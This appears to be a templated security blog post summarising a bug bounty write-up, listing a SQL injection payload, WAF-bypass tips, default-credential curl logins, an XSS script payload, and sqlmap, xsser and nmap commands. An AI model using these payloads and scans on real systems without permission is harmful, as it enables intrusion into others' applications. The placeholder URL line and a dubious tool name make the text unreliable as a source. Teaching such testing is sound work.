Ethical Hacking Success: SQL Injection, XSS, and Access Control Vulnerabilities

URL: Nishant Bhagat’s HackerOne Bounty Report (Note: Replace with actual URL if available)

You Should Know:

1. SQL Injection Payload Construction:

• Dorking: Use Google dorks like `inurl:param=` to find vulnerable endpoints.
• Error Analysis: Manually analyze SQL errors to identify injection points.
• Payload Example:

  ' OR '1'='1'; --
  

• Bypassing WAF: Use encoding techniques like URL encoding or Unicode to bypass WAF restrictions.

2. Admin Panel Access via Default Passwords:

• Common Default Passwords: Always check for default credentials like `admin:admin` or Company@123.
• Command to Test Access:

  curl -u admin:Company@123 http://example.com/admin
  

3. Reflected XSS via Misconfiguration:

• Tool: Use tools like `xssluice.cc` to automate XSS detection.
• Payload Example:

  <script>alert('XSS')</script>
  

• Drupal Misconfiguration: Ensure server-side errors are not exposed by configuring Drupal properly.

4. Improper Access Control:

• Testing Access Control: Use tools like Burp Suite to test for unauthorized access.
• Command to Check Permissions:

  curl -X GET http://example.com/restricted-feature
  

What Undercode Say:

• Linux Commands for Ethical Hacking:
• Network Scanning:

  nmap -sV -O target.com
  

• SQL Injection Testing:

  sqlmap -u "http://example.com/page?param=1" --dbs
  

• XSS Testing:

  xsser -u "http://example.com/search?q=test"
  

• Windows Commands for Security:

• Check Open Ports:

  netstat -an
  

• Firewall Configuration:

  netsh advfirewall set allprofiles state on
  

• Practice Commands:

• SQL Injection Payload Testing:

  curl -X GET "http://example.com/page?param=xyz' OR '1'='1"
  

• XSS Payload Testing:

  curl -X GET "http://example.com/search?q=<script>alert('XSS')</script>"
  

• Conclusion:
  Ethical hacking requires a deep understanding of vulnerabilities like SQL injection, XSS, and access control issues. Always practice responsible disclosure and use tools like SQLMap, Burp Suite, and Nmap to enhance your skills. Stay updated with the latest security trends and continuously improve your techniques to stay ahead in the cybersecurity field.
